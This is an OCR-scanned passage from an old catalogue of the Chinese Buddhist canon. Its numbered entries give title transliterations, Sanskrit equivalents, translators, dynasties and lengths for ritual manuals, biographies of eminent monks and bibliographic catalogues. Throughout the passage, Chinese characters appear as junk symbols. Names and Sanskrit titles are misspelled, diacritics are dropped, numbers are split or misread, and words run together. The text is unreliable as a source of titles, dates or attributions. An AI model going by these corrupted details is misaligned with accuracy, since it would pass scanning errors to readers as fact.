theLatter Tshin dynasty, A. D. 3 84-4[7. I leaf. Thiswork is mentioned as a IVtaliyna-sstra in K'-tsi,fasc. 3 8, fol. 17 b,1417pipSz'-phin-hhio-fa.' Katurvarga-siksh- dharma. '1 4051 41 51427 * f111',r3 15INDIAN MISCELLANEOUS WORKS. 3 16Translated by Gunabhadra, A, D. 43 5-443 , of theearlier Sun dynasty, A. D. 420-479 . 3 leaves. Thiswork is mentioned as a HinayAna-Astra in K'-tsin,fasc. 40, fol. 17 b.The above two works are wanting in Tibetan.K'-yuen-lu, fasc. 9 , fol. 27 b seq.The following seven works were translated byAmoghavagra, A. D. 746-771, of the Than dynasty,A. D. 618-9 07 :--Z4:1418 *AA01IA1 -4 a1-hhiu-khuit-tsaal-phu- sa-nien-suil-flMallakasaprbha-bodhisattva (-dhrant 3 )-adhyya-kalpa. '6 leaves. For the Dhilrani, see Nos. 67-7o.1419 t42 X-KarunikarAga-prag276. (paramit6,)-adhyitya-kalpa. '7 leaves. For the PragUpiramiti, see Nos. 17, 9 65.1420 m. 11. 4tta-shei-zu-1M-nien-suA7ktui-yki-f.Akshobhya-tathagatAdhyya-ptIgA-kalpa. '17 leaves.1 421 TOM 41:imirviroue ;LIBuddhoshnishavigaya-dhitrany-adhylya-kalpa. 'ii leaves. For the Dhirant, see Nos. 3 48-3 52,79 6.1422 WitilltatatftlitaffiShan-yen-ma,n-th-kia-wi-nu-wAti-li-k4ait-ti-shan-yen-nien-sun-fa.Irya-ganmantaraka (?)-balakrodharaga-a1ghrodayamaharddhi-phala-adhyya-kalpa. '9 leaves.1 423 h 1*VE*RMItildjkat(L. I-2*Kt 1,7% Ift1111Th-shaii-fan-k-wati-ra'An-shu-shih-li-phu-s i a-hwa-yen-pan. -/cifto-tsan. -yen-min-teih-lcia-fan-nu-wat. -kan-yen-ta,wi-th-i-kwi-phin.Mabityua-vaipulya-madiguart-bodhisattvAvatarmalia-mttlatantra-ganmntaraka (?)-krodharAga-mantr-mahftbalaguna-kalpavarga.4 leaves.1 424 A)i)A1Y1 tVKI4:AVAILIAtit!tAiTA: Milk a itglP PTa-fan-kwaA-man-shu-shih-li-thuit-kart-phu-A-hw-yen-pan-kiao-taan-yen-man-tliLkii-fan-nu-wili-kan-yen--phi-kb-1u-ki&-i-kwi-phin.Mahavaipulya ,ma,iigu8rt-kumrabhata-bodhisattvftvatamsaka-mtilatantra-ganaantaraka (?)-krodharaga-pramoas&-mantra-avikalaka (7)-kalpavarga. '12 leaves.1425 AVitSushiddhil,:11 . a (-satra)-ptigit-kalps. 'Translated by Subliakarasimha, A. D. 717-7 2 4, of theThil dynasty, A. D. 618-9 07, 3 faseiculi. Deest inTibetan. K'-yuen-lu, fasc. 6, fol. 16 b.
1 429 34t'. pAY-ki-lien-hw-pu-nien-sun-f.' Yoga-pundarlka-vargadhyaya-kalpa,'8 leaves.143 0 1411rOVVIItin^* frzu-li-siu-hhi-f.` V . -^rasekhara-sQ taa-yogavalokitesvararaga-tathd,gata-karya-
_kalpa. 'Translated by Vagrabodhi, A. D. 723 . 73 0, of theThii dynasty, A. D. 618-9 07. 1 fasciculus.The following six works were translated by Amogha-vagra, A. D. 746=-771, of the Than dynasty, A. D. 618-9 07. :1 431tisiu-hhiti-f.^Vagra^ ekhara-sAtra-avalokitesvararaga-tathagata-karya-kalpa. '8 leaves. This is a later translation of No. 1 43 0.K'-tsin, fasc. 15, fol. 1 o a.1 4321 41 * SAAIKin-kali-sheu-kwn-mill-kwn-till-kiti-tsui-shaii-li-yin-shah-wu-thuii=t un-t-wi-nu-w n-nien-suif-i-kwi. . :Vagrapaniprabbabhisheka-stItranuttarapratishthitamudrarykala-mahabalakrodharagadhyaya-kalpa. '1 fasciculus. This translation was made by Amogha-vagra, together with Pien-k' (Sarvaga I).The above fifteen works are mentioned as Mahyna-stitras in K'-tain, fasc. 1 2-1. 5.1 433 ^. ^^141 TAIAfII1 in T.p^it PILh-shu-kin-kii-tin-y-ki-fan-pieh-shati-i-siu-ka-f-man.` Saiikshepa-vagrasekhara-yogAryapadanirdesa-karyabhisam-buddha-dharmaparyaya. '14 leaves. . This is mentioned as a M,hyna-estrain K'-tain, fasc. 3 4, fol. 6 b. 41 * TR A: 14 tfi,Yi-tsz'-fo-tilt-lun-wti-nien-sun=i-kwi. Ekaksh,ra-buddlibshnlshakakrargd,dhyya-kalpa. '12 leaves.1 435 tIN iltggg: 13 Kia t V* ANI,Zan-wti-hu-kwo--pn-zo-po-10-mi-to-kiii-t-khti-nien-4uii-i-kwi.Karunikaraga-Aehtrapala-pragaparamita-sfltra-bodhimanda-dhyaya-kalpa. '1 f--:=ciculs; 5 divisions. For the Stra, see Nos. 17,9 65.1 436 4*. Rd TAPAKin-kti-titi-lien-hw-pu- sin-nien- suti. -i-kwi.' Vagra:sekhara-pundarlkavargahridayadhyaya-kalpa. '1 fasciculus.The following two works yvere translated by Tsz'-hhien, of the later Sun dynasty, A. D. 9 60-1127 :.143 7 S to 2 * it' to *Tr11Fo-shw^ -zi-lun-lien-hw- sin-zu- li-' Buddhabhashit -kintakakra (or -mani)-pundartka-hridaya=thagata-karya-dhyanadvara-kalpa. '14 laves.1 438 At ^rliaMio-ki-sin-pin-t^n-y-ki- pi- mi-kwn-shan-khan-fo-i-kwi.Maligusrl-samntayoga-guhya-dhyanakayabhisambuddha-kalpa:15 leaves.The above five works are mentioned as Mahyna-siitras of the Vaipulya class in K'-tsin, fasc. 15.1 439-AFA-tsi-yao-sun-kin.Dharmasaigraha-maharthagatha-sfltra,' r Dhammapada.Collected by the venerable Dharmatrta. Trans-lated by Thien-si-tsi, A. D. 9 80-1ooa, of the later Sundynasty, A. D. 9 60-1 127. 4 fascicule; 3 3 chapters.This is the last of four Chinese versions of the Dham-mapada. It is a collection of those verses , in Nb. 13 21,being all spoken by Buddha. See K'-tsin, fasc. ' 4r,fol. 3 . For No. 1'43 9 , see the Sacred Books of theEast, vol. x, p. lii.ri143 41448 4` 1d rAh -I / "^ 4 PoriKin-kM-tin-y-ki-ki-shi-p-hwui-sh' -kwi.An outline of eighteen assemblies in the Vagrasekhara-yoga-satra. '1 0 leaves.P.i3 19 . INDIAN MISCELLANEOUS WORKS. 3 201 440
-% %.K. wn-fa-ku-w-yo-ki.Important Gathas or verses on persuading and encouragingkings (or King Sadvahana):rya-ngrguna- bodhisattva-suhrillekha.Note at the end of No. , 1 441. Composed by theBodhisattva Ngrguna. Translated by Sanghavarman,A. D, 53 4, of the earlier Suri dynasty, A. D. 420-479 .I o leaves.1 441 gLun-shu-phu. -sa-kwn-ki-w-su.` Verses on persuading and cautioning King (Sadvahana),(composed) by the Bodhisattva Nagarguna. 'rya-ngrguna-bodhisattva-suhrillekha.Translated by I-tsifi, A. D. 700-712, of the Thandynasty, A. D. 618-9 07. 9 leaves. This is a latertranslation of No. 1440. K' -tsi, fasc. 41, fol. 9 a.The following three works were translated byAmoghavagra, A. D. 7 46-77x, of the Thii dynasty,A. D. 618-9 0.7 :-14424" fild`xAl/ Vsp 'Phu-hhien=kin-k-s-to-y-ki-tien-suai-i.` Samantabhadra-vagrasattva-yogdhyaya-kalpa. '14 leaves.1 443 4 RN T. i tVI,Kin-k-tin-y-ki-hu-mo-i-kwi.Vagrasekhara-yoga-homa-kalpa:14 leaves; 5 different kalpas or ceremonial rules.1444 %C /1t. 1`rt 47 ATa-pi-sin-tho-lo-ni-siu-hhili-Hien-su-ltt h-i.Mahak rdnikahridaya-dharant-karyadhyaya-sakshepakalpa:ro leaves. For the Dhrani, see No. 3 20.1445 1 0% irt 211 ^ rtrl 11 %C *1*Mio-ki-si=pi-t-kwn-man-t-kio-w-ki-lh-Ahu-hu-mo-i.Homa-kalpa, . being an abridged translation of the Ma igusri-samantadhyanadvara-mr htantrarga-stra (No. 1041). 'Translated by Tshz'-hhien, of the later Sufi dynasty,A. D. 9 60-1127. Io leaves.The following ten works were translated by Amogha-vagra, A. D. 746-77 1, of the Th dynasty, A. D. 618-9 071 446 I41 rn-i . 541Kin-k-ti=k^,o-shah -sn-ki-ki-shwo-wan-shu-wu-tsz'-kan-yen-shah-si.` An excellent mark of Magusri's Mantra of five letters, spoken,(by Buddha) in the Vagrasekhara-trilokatikramana-stra. '3 leaves.1 447 Nil rA 41 * .)ZIi!pp 1. 1Kin-k^-ti-ki-y-ki-wan-shu-sh'-li-phu-s-f-yi-phin.` Vagraaekhara-sfltra-yoga-maguari- bodhisattva-dharmaikavarga. '3 leaves.1 449 N Id'*4 ,. _ = _ ....a pi M.H-li-ti-mu-kan-yen-fa.` Hariti-mtitri-mantra-kalpa,'4 leaves.The above eight works are mentioned as Mahyna-stras of the Vaipulya class in K'-tsi, fasc. 14, 1. 5.1450 jC t a fO t a '^^A. M 3 `^iT,-f-kw-fo-hw-yen-ki-zu-f-ki-phin-sz'-shi-'rh-tsz' -kwn.Mabavaipulya-buddhfvatamsaka-stitra (Nos. 87, 88)-dharma-dhatvavatarddhyttya-dvkatvarimsad-akshara-dhyana. '8 leaves. It agrees with Tibetan. K'-yuen-lu,fasc. 2, fol. x4 b.^1 451 ;; gatAP- **'A'= . , AW44. 1411116Pan - zo-po- lo- mi- to- li. - tsh-ki-t-^n-l-pu-khuli-sn-mi-kan-shih-kita -k-phu-s-t. -yi-shi-tshi-sha-t-man-thu-lo-i-shu.` Pragfipiramitd,-buddhi-sfltra (No. 103 3 3 )-mah sukhmogha-samayasatyav ra-bodhisattvadi-saptadas$rya-mah &mandala-vy&khyd,. '3 leaves.3 21INDIAN MISCELLANEOUS WORKS.3 22The above two works are mentioned as Mahyana-sastras in'K' -tain, fasc. 3 4.1452gP9 OP ^Tho-lo-ni-man-ku-pu-yo-mu.' Important names or articles of many classes of the Dhran?-dvra5 leaves.1 453 1411 TR *^ --^ -^ ^ Y^Kin-k-ti-y -ki-sn-shi-tshi-tsun-li.' Vagrasekhara-yoga-saptatrinzsadrya-pAg:5 leaves.1454JAa,ttiA aSheu-phu-thi-sin-ki-i.' BodhihridayasllAdana (?)-kalpa. 'Compiled by the Yogkarya Samantabhadra. Trans-lated byAmoghavagra, as mentioned in col. 3 1 9 . 5 leaves.The above three works are mentioned as Mahyna-stitras of the Vaipulya class in K'-tsin, fasc. 14, 15.1455 *
P. - PMit NTa-shanLwan-shu-sh'-li-phu-sa-tsn-fo- -f-chan-li. Mahrya-magusrf-bodhisattva-buddha-dharmakya-prasams-pflg.4 leaves. This translation was made in A. D. 765.1456 Wfig VDYi-pi-wu-shi-tsn-fo-su.' Srdhasataka-buddhaprasams-gth (?),' or ' iso verses onthe praise of Buddha. 'Composed by the venerable Mtriketa. Translatedby I-tsin, of the Than dynasty, A. D. 618-9 07, whilestaying in the Nlanda Vihra, Central India. I I leaves.I-tsin left China for India in A. D. 671 , and returned toChina in 69 5. According to Khi-yuen-lu (fasc. 9 ,fol. 21 a), I-tsin revised his translation in A. D. 7o8.Deest in Tibetan. . K'-yuen-lu, fasc. 10, fol. 2 a.1457 W 4."N * ^^^i^^qr9 1 1 1 4 M. yJ p^ tPi-tshien-suli-t-tsi-kiii-ti-ts-phu-s-tshi-wan-f-shan-tsn.' Satasahasragfyth-mahsannipta-sQ tra (No. 61)-kshitigarbha-bodhisattva-pariprikkladharmalcya-stotra. 'Translated by Amoghavagra, A. D. 746-771, of theThan dynasty, A. D. 618-9 07. 9 leaves. Deest inTibetan. K'-yuen-lu, fasc. 6, fol. 17 a. In the K'yuei -lu, fasc. 2, fol. 7 b, a similar title, ending with` tsn-kin' or ` stotra-siltra,' is mentioned, and it issaid to agree with Tibetan.1458
1 itFo-ki-si-th-tsn.`Buddha-srlguna-stotra. 'Composed by Munimitra (0). Translated by Sh'-hu(Dnapla?), A. D. 9 80-1000, of the later Sun dynasty,A. D. 9 60-1 I27. 3 fasciculi.The above four works are mentioned under theheading of the Mahayana-sastras in K'-tsin, fasc. 3 8.1459 -y-w^i-kwhn.Life of King Asoka. 'Translated by An Fa-khin, A. D. 281-3 06, of theWestern Tsin dynasty, A. D. 265-3 16. 5 fasciculi ;II Avadnas. This is an earlier translation of No. .13 43 . K'-yuen-lu, fasc. 9 , fol. 3 0 b.The following three works were translated by Kum-ragva, about A. D. 405, of the Latter Tshin dynasty,A. D. 3 84-417:1460S6p,. . M-mi-phu-s-kwhn.'Life of the Bodhisattva Aavaghosha. '4 leaves. Cf. Wassiljew, Buddhismus, p. 21 1 , ancl.elsewhere.1 461Lu1i-shu-phu-s-kwhn.'Life of the Bodhisattva Nitg&rguna. '5 leaves. Cf. Wassiljew, Buddhismus, p. 1 2, andelsewhere.1462aThi-pho-phu-sa-kwhn.'Life of the Bodhisattva Deva (or ryadeva). ' -5 leaves. Cf. Wassiljew, Buddhismus, p. 214, andelsewhere.1 463Pho-seu-phn-teu-kwhn.'Life of Vasubandhu. 'Translated by Paramrtha, A. D. 557-56 9 , of theKhan dynasty, A. D. 557-589 . 12 leaves. Cf. Wassil-jew, Buddhismus, p. 215, and elsewhere.Y3 23 INDIAN MISCELLANEOUS WORKS.3241464 m a l waLuii-shu-phu-s-wi-shn-tho-ki-w-shwo-fit-yo-ki.Gftthfts or verses on' the importance of the law, spoken (orcomposed) by the Bodhisattva Nftgftrguna to (or for) KingShftn-tho-lift (Gittaka, of the Sadvthana family I):rya-ngrguna-bodhisattva-suhrillekha.Cf. Nos. 1 440, 1441. Translated by Gunavarman,A. D. 43 1, of the earlier Sun dynasty, A. D. 420-479 .12 leaves. This is an earlier translation of Nos. 1440,I 441. K'-Yuen-lu, fasc. Is; fol. 2 b; K'-tsi, fasc. 41,fol. 3 b. In the Nita-hi-ki-kwi-kwhn (fasc. 4, fol. 5 b),I-tsi (A. D. 671-712) says that this Suhrillekhawas sent by the Bodhisattva Ndgrguna to hisold Dnapati, a great King of the South (India),who was calledmi So-to-pho-hx -n, i, e. Sadvhana, and whose proper name was4-4 ` p SW-yen-th-ki, i. e. Gtaka (I cf.Shin-tho-ki, in th title of No. 1464). I-tsizi also saysthat the Buddhists in the five parts of India firstcommit these verses to memory when they begin tostudy their religion.1465" TAAKwn-tsi-sn-tsn-kiu-tsa-tsiz-kwhn.Record of the collection of the Tripitaka and Samyukta-pitaka. 'Cf. No. 13 63 .Translated under the Eastern Tsin dynasty, A. D.3 1 7 -420 ; but the translator's name is lost. 15 leaves.Deest in Tibetan. K'-yuen-lu, fasc. z o, fol. i a.1 466 %C1 ^ 1 ,` ,:^T--lo-hu-nm-thi-xni-to-to-su-shwo-f-ku-ki.' Record on the duration of the law, spoken by the great ArhatNandimitra. 'Translated by Hhtien-kwn (Hiouen-thsang),654, of the Than dynasty, A. D. 618-9 07. 8 leaves.It begins : ` As handed down by tradition, in thetime when eight hundred years had elapsed since theBhagavat entered Parinirvna, there lived 'an Arhatnamed Nandimitra, in the capital of King Prase-nagit, of the country of Simhala' or Simhaladvipa. 'The names of 'sixteen great Arhats and their dwelling-places are mentioned in this work.1467 VIta*Y-ki^tsi-yo-yen-kheu-sh'-shi-i.`Ceremonial rules for giving food to the Flaming-mouth (Frets),in the collection of important (articles) of Yoga. 'Translated by Amoghavagra, A. D. 746-771, of theTh dynasty, A. D. 618-9 07. i fasciculus; 42 leaves.The Buddhoshnlshavigaya-dhranf (Nos. 3 48-3 51 , 79 6)is given in the Devanagari character with a Chinesetransliteration in parallel columns. There are twoappendices. The one is, ` Writing on ten sorts ofdeparted spirits or Pretax. ;' and the other, Trisarana-stotra, or Laudatory verses on taking refuge with theTriratna, viz. Buddha, Dharma, and Sangha. No. 1467is mentioned under the heading of the Mahyna-sAtras of the Vaipulya class in- K'-tsi, fasc. 15,fol. 17 a.825
J^ iHhieri-mi-yuen-thus-khan-fo-sin-yo-tsi.` Acollection of important (accounts concerning) the thought ofbecoming Buddha, perfect in both hidden and apparent(doctrines ?). 'Compiled by Tao-khan, of the * later Sun dynasty,A. D. 9 60-1 I27. 2 fasciculi.1478Mi-kheu-yuen-yin-wbi-shaA-tsi.`Acollection of (3 3 ) Mantras (to be recited. ?) for the perfectcause of going to he born (in Buddha's country). 'Collected by K'-kwn and Hwui-kan, and translatedby Vagraketu (?), of the later (or Northern) or SouthernSun dynasty, A. D. 9 60-1 127, or I I27-1 280. There isa preface dated A. D. 1200, under the great Hhi, i. e. acontemporaneous dynasty with the Sun. i fasciculus;26 leaves.1479 a NA lkHun-min-tai.Acollection of (miscellaneous writings on) propagation andillustration (of the teaching of Buddha). 'Collected by San-yiu, about A. D. 520, of the Landynasty, A. D. 502-557. 1 4 fasciculi.1480 Tsi-sh-man-pu-yin-pM-su-tan-sh'.Acollection of (miscellaneous writings for asserting) thatSrmanas ought not to bow before laymen. 'Compiled by Yen-tshu, A. D. 662, of the Thandynasty, A. D. 618-9 07. 6 fasciculi; 6 chapters.1481 ar Kwan-hun-min-tai.An enlarged collection; of (miscellaneous writings on) propagationand illustration (of the teaching of Buddha). 'Collected by To-siien, A. D. 650-667, of the Thdynasty, A. D. 618-9 07. 4o fasciculi. This work issimilar to No. 1479 .1482-^F-wan-shu-iin.' Pearl-grove of the garden of the law. 'Compiled by To-shi, A. D. 668, of the Than dynasty,A. D. 618-9 07. 10o fasciculi; 10o chapters, subdividedinto many parts. This is a large Encyclop dia, con-taining. extracts from the Tripitaka.The following two works were compiled by Tao-sen,A. D. 664, of the Than dynasty, A. D. 618-9 071 483 Ta-than-ni=tien-1u.` Acatalogue of the Buddhist books, (compiled) under the greatThan dynasty, A. D. 618-9 07.16 fasciculi. It contains all the titles of tl. ,; Tripi-taka translated into Chinese, from A. D. 67 till about664, whether in existence or lost, and those of theworks of Chinese Buddhists, together with shortbiographical accounts of the translators and authors.No. 1483 is generally called Ni-tien-lu.1484jaTsi-ahan-keu-th-sz'-sn-po-kan-thuli -lu.` Acollection of accounts concerning the influential power of thethree precious things or Triratna (Buddha, Dharma, andSangha) in the pagodas and monasteries in the spiritual"country,' i. e. China.4 fasciculi.The following two works were compiled by K'-shah,A. D. 73 0, of the Than dynasty, A. D. 618-9 07:1 485
003 i fTKhi-yuen-shih-kio-lu.'Acatalogue of (the books on) the teaching of Skyamuni,(compiled) in the Khi-yuen period, A. D. 713 -7413 o fasciculi. In A. D. 73 0 there were in existence11 42 works in 5048 fasciculi; translated into Chinese,from A. D. 67 till 73 o. No. 1485 is generally calledKhai-yuen-lu. This work is similar to but fuller thanNo. 1483 .1486 PO 0 n aKhi-yuen-shih-kio-lu-lh-khi.An abridged reproduction' of the preceding catalogue.5 fasciculi. This is the last. part of No. 1485. Inthis catalogue the order of all the works then admittedinto the Canon is marked with the characters of theTshien-tsz'-wan, or Thousand-character-classic.1 1 1 '32.9CHINESE MISCELLANEOUS WORKS.3301 487PV 41Ku-kin-i-ki-thu-ki.'Arecord of the picture (of the events) of ancient and moderntranslations of the Sutras (etc. ). 'Compiled by Tsiii-mi, about A. D. 664, of the Thdynasty, A. D. 618-9 07. 4. fasciculi. It contains allthe titles of translations from the venerable KsyapaMatariga, A. D. 67, to Hhen-kw4 (Hiouen-thsang). ,A. D. 645-664, together with short biographical notes.This work is said to have written on the figures ofthose translators, drawn on the wall of the 'transla-tion hall' in "the T-tshz'-an-sz' monastery, in whichHiouen-thsang lived. See Khr ai-yuen-lu, fase. 8 b,fol. 19 a.1 .488 CF. . 1ESuh-ku-kin-i-ki-thu-ki.' Acontinuation' of the preceding catalogue.Compiled by S'-shaft, A. D. 7 3 0, of the Thin dynasty,A. D. 618-9 07. z fasciculu^ ; 2 2 leaves.1 489Tsu-ki-lu.` Records as the mirror of the (Dhy,na) school. 'Compiled by Yen-sheu, of the later (or Northern)or Southern Sufi dynasty, A. D. 9 60-1127. , or 1127-1280. Imo fasciculi ; . 3 parts. This is a metaphysicalwork of 'the Shn or Dhyna school, founded by Bodhi-dharma, the twenty-eighth Indian patriarch, who arrivedin China in A. D. 520. Afft* ff.- - ' Ko-sail. -kwhn.' Memoirs of eminent priest^ . ',Compiled by Hwui-kio, A. D. 51 9 , of the Lidynasty, A. D. 502-557. 14 fasciculi ; , 1 0 classes.257 men are mentioned separately, while 23 9 are .added in course of narration. They were either Indianor Chinese, and not only priests but also laymen, wholived in China some time between. A. D. 67 and 519 .The. following two works were compiled by I-tsi,while . staying in the South Sea country of Shi-li-fo-'shi (I), ' and sent to China in A. D. 69 2, under theThr a dynasty, A. D. 6 r 8-9 07. ;=149 1 *lHN O* tiVitOT-th-si-y-ki-f-ko-sa-kwhn.'Memoirs of eminent priests under the great Thri dynasty,A. D. 618-9 07, who visited the Western region or Indiaand its neighbouring countries, to search for the law. '.2 fasciculi. There are mentioned fifty-six priestswho went from China to India and its neighbouringcdifntries during the seventh century A. D. ; and fourothers, who were companions of I-tsin on his secondvoyage to the South Sea country of Shi -li-fo- shi,and studied there. An extract from No. 149 1has been published by Mr. Beal in Journal of theRoyal Asiatic Society, r881, pp. 558-572.149 2Nu-hi-ki-kwi-ni-f-kwhn.` Records of the "inner law i ' . or religion, sent from the South Seacountry through one who returns (to China). '4 fasciculi; 4o chapters. This is a work on theVinaya. I-tsi depends on the Vinaya-pitaka of theMlasarvastiviida -nikya, and describes , the actualpractice of the priests in India and the South Seacountries. It is the practice which he has wit-nessed himself. At the same time, he refutes theformer Chinese misinterpretations. He does not giveany account concerning the Buddhists of Ceylon, except`one passage (fast. r, fol. 3 b, col. 5), where he saysthat those of the Simhala island all belong to theSthavira school, and those of the Mahsagha (or-saghika) school are expelled ,(or not found there ?). 'The term South Sea is' used in this work to denote th'eChina Sea, though it may include the Indian Ocean also.149 3 ,,tSuh-ko-sail-kwhn.` Acontinuation of the memoirs of eminent priests,' or acontinuation of No. 149 0.Compiled by 'Tao-stien; about A. D. 645-667, of theThri dynasty, A. D. 618-9. o7. 40 fasciculi; ro classes.3 3 1 persons are mentioned separately, while 1 60 areadded in course of narration. - They lived in Chinasome time between A. D. 519 and 645.149 4 *, ^
0$1T-tslhz'-an-sz'-sn-tsn. -fa-sh'-kwhn.` Life of the teacher of the law of Tripitaka, (who lived) in theTtt-tshz'-an (great-compassionate-favour) monastery,' i. e.Hhen-kwil (Hiouen-thsang).Compiled by Hwui-li, and annotated by Yen-tshu,A. D. 665, of the_Thri dynasty, A. D. 618- 9 07. , r o fasciculi. According. to Khi Yuen-lu (fast. 9 , fol. 7 a);Houi-li left' his work unfinished at his death, and Yen-tshu made it complete. This teacher (H. T. ) spentseventeen years on his journey from China to India,A. D. 629 -645, and died in 664. . This work has beentranslated 'into French by Julien, with the title ofVoyages des Plerins Bouddhistes, vol. i. For thisk. ^l ' J3 3 1CHINESE MISCELLANEOUS WORKS. 3 3 2French translation, see Professor Max Mller's Bud-dhist Pilgrims, in his Selected Essays, vol. ii, pp. 234-279.1 495
*AC'Suii-kao-salt-kwhn.'Memoirs of eminent priests, (compiled) under the later (orNorthern) Sun dynasty, A. D. 9 60-1127,' or a continuationof No. 149 3 .Compiled by Tsan-nisi, A. D. 9 88, of the later Sufidynasty, A, D. 9 60-1127. 3 0 fasciculi; io classes.53 3 priests are -mentioned separately, while thirty areadded in course of narration. They lived in Chinasome time between A. D. 645-9 88.1 496
AAf4F-hhien-kwhn.' Record (on the journey) of F-hhien (Fl-hian). 'Compiled by F-hhien, A. D. 414, of the EasternTsin dynasty, A. D. 3 17-420, after he returned fromIndia to China. He left China in A. D. 3 9 9 , andspent fifteen years on 'his journey, A. D. 3 9 9- 413 .x fasciculus; 3 6 leaves. This work is otherwise calledFo-kwo-ki, or Record of Buddha's Country. It hasbeen translated into French by A. Rmusat, and intoEnglish by Rev. S. Beal.1 497Pi-khiu-ni-kwhn.'Memoirs of (celebrated) Bhikshunis:Compiled by Po-kh . , about A. D. 526, of the Lifidynasty, A. D. 502-557 . 4 fasciculi. 65 Chinese Bhik-shun4s are mentioned, who lived some time betweenA. D. 3 26-526.1 498+ 1 9Shi-man-pien-hwo-lun.' Atreatise on explanation of (another's) doubts, in ten divisions. 'Composed by FuAli, A. D. 681, of the Thfi . dynasty,A. D. 618-9 07. 2 fasciculi. This is an answer to ' awork entitled `. ^Shih- tien-ki-i, or ' aconsideration on doubts in the Buddhist books,' by. Khen Wu-'rh, an official attached to the PrinceImperial.149 9 M Il_t pKan-ka-lun.' Atreatise or dialogue between Ilan-kan, or one who "dis-tinguishes what is right" from false (and Ti-su, or onewho "is attached to the common or popular views"):Composed by Hhen-i, of the Th dynasty, A, D.618-9 07. 3 fasciculi. This work confutes severalfalse Sutras and names, such as Lin-po-kin, or ' Sutraof a marvellous gem,' and Thien-tsun, or ' heavenly-honour,' which latter had been probably used for anepitnet of Buddha.The following two works were composed by Fa-lin,A. D. 624-640, of the Thin dynasty, A. D. 6x8-9 07 :1 500Po-fa-lat.' Atreatise on the confutation of heresy. '2 fasciculi. Thi^ work confutes the sceptical opinionsof Fu Yi, a contemporary of the author. Fu Yi was' an imperial historiographer under Than Ko-tsu (thefirst sovereign of the Than dynasty, reigned A. D. 6i862 6), and one of the most determined adversaries ofthe doctrines of Buddhism. ' See Mayers' ChineseReader's Manual, p, 44, No. 145.1 501 iFPien-ka-lun.Atreatise on the explanation, of the truth. '9 fasciculi; I 2 chapters. This work chiefly confutesthe opinions of the Taoists. Apreface and commentaryare added by Khan Tsz' -lifi, of the Than dynasty,A. D. 618-9 07.150'24Hu-f-lun. ht treatise on tho preservation or protection of the Law. 'Composed by Kai' Shan-yin, about A. D. 1170, whowas the prime minister under the Southern Sundynasty, A. D. 1127- I 280. I fasciculus, consisting of12,3 45 Chinese characters. This work confutes thesceptical opinions of Eu-y6,11 Siu, who died in A. D,1072. For this latter celebrated statesman and scholar,see Mayers' Chinese Reader's Manual, p. 165, No. 529 .AIN -gg iA MT-t-si-y-ki.'Records of the Western regions (made) under the great Thndynasty, A. D. 618--9 07.Compiled by Hhen-kwn (Hiouen-thsang), togetherwith his assistant Pien-ki, A. D. 646, of the Thindynasty, A. D. 618-9 07. 12 fasciculi. In this work,both the characters and usages of the people, and thesacred places of Buddhism, of 13 8 states in India andits neighbourhood are Mentioned ; most of which theauthor visited himself on his journey in A. D. 629 -645.The country of Magadha is most minutely described1 503333CHINESE MISCELLANEOUS WORKS.334in fasciculi 8 and 9 . This work has been translatedinto French by Julien, with the title of Voyages desPlerins Bouddhistes, vols. ii and iii. It is tObe com-pared with No. 149 4, and its French translation by thesame scholar. See Professor Max Miller's 'BuddhistPilgrims,'in his Selected Essays, vol. ii, pp. 23 4-279also Cunningham's Ancient Geography of India.1 504Li-ti-sn-po-ki.'Record concerning the three precious things (Triratna, viz.Buddha, Dharma, and Sagha) under successive dynasties. 'Compiled by F Kh-fah, A. D. 59 7, of the Suidynasty, A. D. 587-618. 15 fasciculi. The first threefasc. contain a general history of Buddhism, from thebirth. of Buddha down to the time of the compilationof this work. The next eleven fasc. form a catalogueof the Tripitaka translated into Chinese from A. D. 67till 587. The fifteenth fasc. is an index or a minutelist of the contents of this work, No. 15o4.1505 M 1'Tsi-ku-ki-li -khan-hwui-wan.' Acollection of writings on worship and confession from aoveralSQ tras. 'Collected by K'-sha, A. D. 73 0, of the Th dynasty,A. D. 618-9 07. 4 fasciculi.The following three works were compiled by I-tsi,who died in A. D. 713 , of the Than dynasty, A. D.618-9 07:1506'Shwo-tsui-yo-hhi-f.Rules for the important practice of confessing crimes or faults. '5leaves.1507
^T7Sheu-yuii-sari-shui-yo-hhi-f.' Rules for an important practice of the use of three kinds ofwater. '4 leaves. The three kinds of water are (1) purewater for a fixed time, (2) that for an unfixed time--both for drinkand (3 ) water for washing hands, etc.Cf. the sixth chapter of No. r49 2 by the same author,where however the chapter is entitled Shui-yiu-'rh-pin,or ' two (different) vessels to be used for water. '1508 NO t o fltHu-mi^i-f-sha-kwi-i-f.' Rules for letting living things go for their lives' preservation sake,'3 leaves.1509 IS 4,P41' tkTsz'-pi-to-khM-khn-f.`Rules for confession in the religious place of the merciful andcompassionate one, or in the temple of Bddha. 'No author's name given. 1 o fasciculi ; 4o chapters.According to the statement of the preface, dated A. D.1267, this work was first compiled by a prince namedSig() Tsz'-lian, in the Yu-pi period, A. D. 48. 3 -49 3 , ofthe Tshi dynasty, A. D. 479 -542, when it was,in 20 fas-ciculi, 3 o chapters. Afterwards it was revised by an.eminent priest in the Thien-kien period, A. D. 502-519 ,of the Lia dynasty, A. D. `502-557. But in No. 149 3it is stated that there was a writing on confession byWu-ti, the first sovereign of the latter dynasty. Thena priest named Kan-kwn or Hwui-shih enlarged itand called it by the present title.1510F-hw-sn-mi-khn-i.Ceremonial rules for confession and Samddhi or meditation on(the merit of) the Saddharmapundarlka-sfltra, No. i3 4 Compiled by K'-i, who died A. D. 59 7, under the Suidynasty, A. D. 589 -618. 1 fascieulus ,; 5 chapters. Theauthor lived on the Thien-thi hill (in modern Che-kiang), where he founded his new school ; so that heis generally known by the title Thien-thi-to-sh', orthe great teacher of the Thien-thi hill. ' His posthu-mous title is K'-k-t-sh', or the great teacher whowas wise. ' See No. 1522. His school is still calledThien-thi-tsu (Ten-dai-shu, in Japan).1511 MV= 1 4r-1 slautF-hw-sn-mi-hhi-sh'-yun. -siii-pu-ku-i.Additional ceremonial rules for one who conveys his concept(towards the object worshipped ?) while in the practiceof the Saddharmapundarlka-samtdhi (as taught in No.51o).Compiled by Tsn-zn, *of the Thien-thi school, whodied A. D. 782, of the Than dynasty, A. D. 6189 07.4 leaves.The following four works were compiled by Tsun-shih, of the Thien-thi school, about A. D. 1000, of thelater Suu dynasty, A. D. 9 60-1127:3 3 5CHINESE MISCELLANEOUS WORKS. 3 3 61512 t;F ^`=t ` Kin-kw-min-khn-f-pu-ku-i.Additional rules for confession (and recital of) the Suvarnapra-bhsa-sfltra, No. 127. 'i fascictilus ; 6 chapters.1513 It I. 19. it KOW-sha-tsi-thu-khan-yuen-i.' 